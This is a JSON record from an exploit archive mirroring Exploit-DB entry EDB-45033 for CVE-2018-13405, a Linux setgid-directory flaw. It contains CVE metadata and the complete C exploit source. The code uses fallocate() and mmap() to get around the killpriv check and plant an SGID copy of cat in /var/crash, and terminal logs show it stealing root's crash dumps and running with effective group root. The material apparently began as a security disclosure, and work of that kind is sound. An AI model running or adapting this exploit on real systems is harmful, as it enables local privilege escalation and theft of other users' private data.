{"exploit":{"id":"EDB-45033","name":"Linux (Ubuntu) - Other Users coredumps Can Be Read via setgid Directory and killpriv Bypass","description":"Linux (Ubuntu) - Other Users coredumps Can Be Read via setgid Directory and killpriv Bypass","cves":["CVE-2018-13405"],"author":"Google Security Research","published":"2018-07-16","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45033","path":"exploits/linux/dos/45033.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45033.c","vulnerabilities":[{"id":"CVE-2018-13405","state":"PUBLISHED","title":null,"titleSource":null,"description":"The inode_init_owner function in fs/inode.c in the Linux kernel through 3.16 allows local users to create files with an unintended group ownership, in a scenario where a directory is SGID to a certain group and is writable by a user who is not a member of that group. Here, the non-member can trigger creation of a plain file whose group ownership is that group. The intended behavior was that the non-member can trigger creation of a directory (but not a plain file) whose group ownership is that group. The non-member can escalate privileges by making the plain file executable and SGID.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-13405","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-13405"},"updatedAt":"2024-08-05T09:00:35.380Z","retrievedAt":"2026-11-27T17:09:42.837Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45033.png?v=2","url":"https://exploitbin.com/exploits/EDB-45033","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45033/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45033/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nNote: I am both sending this bug report to security@kernel.org and filing it in\nthe Ubuntu bugtracker because I can't tell whether this counts as a kernel bug\nor as a Ubuntu bug. You may wish to talk to each other to determine the best\nplace to fix this.\n\nI noticed halfdog's old writeup at\nhttps://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/\n, describing essentially the following behavior in combination with a\ntrick for then writing to the resulting file without triggering the\nkillpriv logic:\n\n\n=============\nuser@debian:~/sgid_demo$ sudo mkdir -m03777 dir\nuser@debian:~/sgid_demo$ cat > demo.c\n#include <fcntl.h>\nint main(void) { open(\"dir/file\", O_RDONLY|O_CREAT, 02755); }\nuser@debian:~/sgid_demo$ gcc -o demo demo.c\nuser@debian:~/sgid_demo$ ./demo\nuser@debian:~/sgid_demo$ ls -l dir/file\n-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file\n=============\n\n\nTwo patches for this were proposed on LKML back then:\n\"[PATCH 1/2] fs: Check f_cred instead of current's creds in\nshould_remove_suid()\"\nhttps://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/\n\n\"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory\"\nhttps://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/\n\nHowever, as far as I can tell, neither of them actually landed.\n\n\nYou can also bypass the killpriv logic with fallocate() and mmap() -\nfallocate() permits resizing the file without triggering killpriv,\nmmap() permits writing without triggering killpriv (the mmap part is mentioned\nat\nhttps://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/\n):\n\n\n=============\nuser@debian:~/sgid_demo$ sudo mkdir -m03777 dir\nuser@debian:~/sgid_demo$ cat fallocate.c\n#define _GNU_SOURCE\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <string.h>\n\nint main(void) {\n  int src_fd = open(\"/usr/bin/id\", O_RDONLY);\n  if (src_fd == -1)\n    err(1, \"open 2\");\n  struct stat src_stat;\n  if (fstat(src_fd, &src_stat))\n    err(1, \"fstat\");\n  int src_len = src_stat.st_size;\n  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);\n  if (src_mapping == MAP_FAILED)\n    err(1, \"mmap 2\");\n\n  int fd = open(\"dir/file\", O_RDWR|O_CREAT|O_EXCL, 02755);\n  if (fd == -1)\n    err(1, \"open\");\n  if (fallocate(fd, 0, 0, src_len))\n    err(1, \"fallocate\");\n  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);\n  if (mapping == MAP_FAILED)\n    err(1, \"mmap\");\n\n\n  memcpy(mapping, src_mapping, src_len);\n\n  munmap(mapping, src_len);\n  close(fd);\n  close(src_fd);\n\n  execl(\"./dir/file\", \"id\", NULL);\n  err(1, \"execl\");\n}\nuser@debian:~/sgid_demo$ gcc -o fallocate fallocate.c\nuser@debian:~/sgid_demo$ ./fallocate\nuid=1000(user) gid=1000(user) egid=0(root)\ngroups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)\n=============\n\n\nsys_copy_file_range() also looks as if it bypasses killpriv on\nsupported filesystems, but I haven't tested that one so far.\n\nOn Ubuntu 18.04 (bionic), /var/crash is mode 03777, group \"whoopsie\", and\ncontains group-readable crashdumps in some custom format, so you can use this\nissue to steal other users' crashdumps:\n\n\n=============\nuser@ubuntu-18-04-vm:~$ ls -l /var/crash\ntotal 296\n-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash\n-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash\n-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash\n-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash\n-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash\nuser@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash\ncat: /var/crash/_usr_bin_id.0.crash: Permission denied\nuser@ubuntu-18-04-vm:~$ cat fallocate.c\n*/\n\n#define _GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <err.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <string.h>\n\nint main(int argc, char **argv) {\n  if (argc != 2) {\n    printf(\"usage: ./fallocate <file_to_read>\");\n    return 1;\n  }\n  int src_fd = open(\"/bin/cat\", O_RDONLY);\n  if (src_fd == -1)\n    err(1, \"open 2\");\n  struct stat src_stat;\n  if (fstat(src_fd, &src_stat))\n    err(1, \"fstat\");\n  int src_len = src_stat.st_size;\n  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);\n  if (src_mapping == MAP_FAILED)\n    err(1, \"mmap 2\");\n\n  unlink(\"/var/crash/privileged_cat\"); /* in case we've already run before */\n  int fd = open(\"/var/crash/privileged_cat\", O_RDWR|O_CREAT|O_EXCL, 02755);\n  if (fd == -1)\n    err(1, \"open\");\n  if (fallocate(fd, 0, 0, src_len))\n    err(1, \"fallocate\");\n  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);\n  if (mapping == MAP_FAILED)\n    err(1, \"mmap\");\n  memcpy(mapping, src_mapping, src_len);\n  munmap(mapping, src_len);\n  close(fd);\n\n  execl(\"/var/crash/privileged_cat\", \"cat\", argv[1], NULL);\n  err(1, \"execl\");\n}\n\n/*\nuser@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c\nuser@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen\nuser@ubuntu-18-04-vm:~$ ls -l /var/crash\ntotal 384\n-rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat\n-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash\n-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash\n-rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen\n-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash\n-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash\n-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash\nuser@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked\nuser@ubuntu-18-04-vm:~$ # work around bug in apport-unpack\nuser@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen\nuser@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/\nuser@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump\nroot_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'\n*/","sha256":"5312907ad169c247d3c5df0c0885a9116001e0a4b505f0f860a85c737773d837","bytes":6418,"fetchedAt":"2026-11-27T17:09:41.084Z","encoding":"utf-8 (display only; download retains original bytes)"}